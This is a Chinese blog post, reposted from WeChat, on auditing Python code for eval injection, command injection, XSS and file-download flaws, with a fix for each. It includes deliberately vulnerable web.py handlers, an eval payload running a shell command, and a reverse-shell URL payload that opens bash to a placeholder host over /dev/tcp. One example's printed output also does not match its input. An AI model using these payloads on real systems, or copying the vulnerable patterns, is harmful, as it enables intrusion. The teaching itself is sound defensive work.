在审计代码之前可以用bandit进行白盒扫描,根据结果再去分析是否有具体的漏洞。
bandit安装:pip install bandit
0x01 代码执行
在审python代码的时候,发现很多类似eval(xx)之类的代码,并且xx外部认为可控导致python的任意代码执行。
这种情况大多用在将一个字符串转换为dict的情况。
比如
>>> x='{"name": "dbg"}' >>> print type(x) <type 'str'> >>> a=eval(x) >>> print type(a) <type 'dict'> >>> print a {'name': 'joychou'}
payload:
>>> eval("__import__('os').system('whoami')") root 0
可以用ast.literal_eval替换eval
>>> ast.literal_eval("os.system('whoami')") Traceback (most recent call last): File "<stdin>", line 1, in <module> File "ast.py", line 68, in literal_eval return _convert(node_or_string) File "ast.py", line 67, in _convert raise ValueError('malformed string') ValueError: malformed string
修复方案:
-
使用eval的时候对参数进行过滤
-
或者使用ast.literal_eval
-
或者使用json.loads将字符串转换为dict(如果功能一样)
0x02 命令注入
python中有很多方法os.system, os.popen, subprocess.call都可以执行shell命令。如果在执行命令的时候,参数是外部人为可控,那么就能造成命令执行漏洞。
我用webpy写了一份有漏洞代码:
#coding:utf-8 import web import subprocess urls = ( '/code/', 'codeaudit' ) class codeaudit: def GET(self): user_data = web.input(domain = '127.0.0.1') domain = user_data.domain print '[+]domain: %s' % (domain) self.count_lines(domain) def count_lines(self, domain): cmd = "curl '%s' | wc -l" % (domain) print cmd subprocess.call(cmd, shell=True) if __name__ == "__main__": app = web.application(urls, globals()) app.run()
由于参数domain未做过滤,外部人为可控。并且使用shell=True的参数,可执行linux的bash shell,最后导致命令执行。
反弹shell的payload:
http://www.sectest.com:8080/code/?domain=www.dbg.com'|bash -i >%26 /dev/tcp/x.x.x.x/1234 0>%261 | grep '
注意&符号要进行url编码%26,否则在url里会被认为是下一个参数。
由于命令行中存在管道符|,所以如果直接将shell=True改为shel=False,会调用失败。
所以修复方案直接将True修改为False在使用管道符的时候行不通。
不存在管道符:
>>> subprocess.call('whoami',shell=False) root 0
存在管道符:
>>> subprocess.call('whoami | grep xx',shell=False) Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/lib64/python2.6/subprocess.py", line 478, in call p = Popen(*popenargs, **kwargs) File "/usr/lib64/python2.6/subprocess.py", line 642, in __init__ errread, errwrite) File "/usr/lib64/python2.6/subprocess.py", line 1238, in _execute_child raise child_exception OSError: [Errno 2] No such file or directory
correct:
def count_lines(website): args = ['curl', website] args2 = ['wc', '-l'] process_curl = subprocess.Popen(args, stdout=subprocess.PIPE, shell=False) process_wc = subprocess.Popen(args2, stdin=process_curl.stdout, stdout=subprocess.PIPE , shell=False) # Allow process_curl to receive a SIGPIPE if process_wc exits. process_curl.stdout.close() return process_wc.communicate()[0] # >>> count_lines('www.google.com') # '7 '
漏洞修复:
-
对参数进行过滤(简单粗暴)
-
使用subprocess.Popen
0x03 xss
incorrect
def GET(self): web.header('Content-Type','text/html; charset=utf-8', unique=True) user_data = web.input(domain = '127.0.0.1') domain = user_data.domain #return render('hello.html', domain=domain) #return "Hello %s" % escape(domain) return "Hello %s" % domain
correct
使用escape进行html编码
from flask import escape def GET(self): web.header('Content-Type','text/html; charset=utf-8', unique=True) user_data = web.input(domain = '127.0.0.1') domain = user_data.domain return "Hello %s" % escape(domain)
漏洞修复:
-
escape html编码
-
render(django python框架)
-
对参数进行过滤
0x04 任意文件下载
如果有下载功能的代码,需要检查参数是否外部可控。
如果可控,检查是否有做过滤,没过滤则有任意文件下载漏洞。
看到一份代码过滤如下:
path = path.replace('|', '').replace(' ', '').replace('../', '').replace(';', '')
未完待续……
参考链接
https://security.openstack.org/guidelines/dg_avoid-shell-true.html
https://security.openstack.org/guidelines/dg_cross-site-scripting-xss.html
转载老湿
本文始发于微信公众号(飓风网络安全):python安全代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论